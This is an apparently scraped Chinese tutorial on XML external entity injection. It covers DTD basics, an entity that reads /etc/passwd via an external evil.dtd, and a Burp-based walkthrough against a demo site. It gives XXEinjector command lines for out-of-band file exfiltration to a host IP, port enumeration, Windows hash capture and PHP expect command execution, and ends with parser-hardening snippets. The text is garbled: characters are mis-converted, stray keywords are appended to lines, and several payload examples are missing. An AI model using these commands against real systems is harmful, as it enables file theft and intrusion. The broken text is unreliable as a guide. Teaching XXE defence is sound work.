XML外部實體注入(XML External Entity Injection)php
XML基礎java
XML用於標記電子文件使其具備結構性的標記語言,能夠用來標記數據、定義數據類型.git
是一種容許用戶對本身的標記語言進行定義的源語言。github
XML文檔結構包括XML聲明、DTD文檔類型定義、文檔元素。windows
DTD(文檔類型定義)的做用是定義xml文檔的合法構建模塊。ruby
DTD 能夠在 XML 文檔內聲明,也能夠外部引用。服務器
PCDATA 指的是被解析的字符數據(Parsed Character Data)工具
XML解析器一般會解析XML文檔中全部的文本測試
<message>此文本會被解析</message>
當某個XML元素被解析時,其標籤之間的文本也會被解析:網站
<name><first>Bill</first><last>Gates</last></name>
內部聲明DTD
<!DOCTYPE 根元素 [元素聲明]>
引用外部DTD
<!DOCTYPE 根元素 SYSTEM 「文件名」>
或者
<!DOCTYPE 根元素 PUBLIC 「public_ID」 「文件名」>
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,能夠內部聲明或外部引用。
內部聲明實體
<!ENTITY 實體名稱 「實體的值">
引用外部實體
<!ENTITY 實體名稱 SYSTEM 「URI">
或者
<!ENTITY 實體名稱 PUBLIC 「public_ID" 「URI">
當容許引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
引入外部實體方式有多種,好比:
惡意引入外部實體方式1:
XML內容:
一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (;)
惡意引入外部實體方式2:
XML內容:
DTD文件(evil.dtd)內容:
<!ENTITY wintry SYSTEM 「file:///etc/passwd">
惡意引入外部實體方式3:
XML內容:
DTD文件(evil.dtd)內容:
<!ENTITY wintry SYSTEM 「file:///etc/passwd">
另外,不一樣程序支持的協議不同,
上圖是默認支持協議,還能夠支持其餘,如PHP支持的擴展協議有
主要有兩個
1:讀取任意文件
2:執行系統命令(安裝expect擴展的PHP環境裏纔有)
尋找那些接受XML做爲輸入內容的端點。
訪問演示站點:wintrysec攻防系統-owasp top10-xxe
用Burp抓包,隨便輸入密碼點擊登陸
觀察應用程序的XML傳輸數據。
請求:
響應:
應用程序正在解析XML內容,接受特定的輸入,而後將其呈現給用戶
修改請求的XML內容,重放
咱們在上面的請求中定義了一個名爲wintrysec,值爲 'wintrysec666' 的實體
根據響應報文得知,解析器已經解析了咱們發送的XML實體,並將實體內容呈現出來了。
01.讀取任意文件
修改數據包添加如下XML代碼:
重放結果以下圖:
成功讀取/etc/passwd
文件
項目地址
https://github.com/enjoiz/XXEinjector
簡介
XXEinjector是一個使用Ruby編寫的自動化xxe漏洞檢測工具,能夠經過給定一個http請求的包,而後設置好好參數就會自動化的進行fuzz,他會經過內置的規則進行自動化的測試,而且還支持二次注入(經過另外一個請求觸發漏洞)
參數說明
host: 用於反向鏈接的 IP
path: 要讀取的文件或目錄
file: 原始有效的請求信息,可使用 XXEINJECT 來指出 DTD 要注入的位置
proxy: 代理服務器
oob:使用的協議,支持 http/ftp/gopher
phpfilter:使用 PHP filter 對要讀取的內容進行 base64 編碼,解決傳輸文件內容時的編碼問題
使用方法
列 /etc 目錄 經過https:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
二次注入:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
經過http協議暴力枚舉文件:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
直接枚舉:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚舉全部端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
獲取windows hash:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
經過java的jar上傳文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
執行系統命令使用 PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
測試XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
記錄請求日誌:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
方案1、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
關鍵詞:
<!DOCTYPE和<!ENTITY,SYSTEM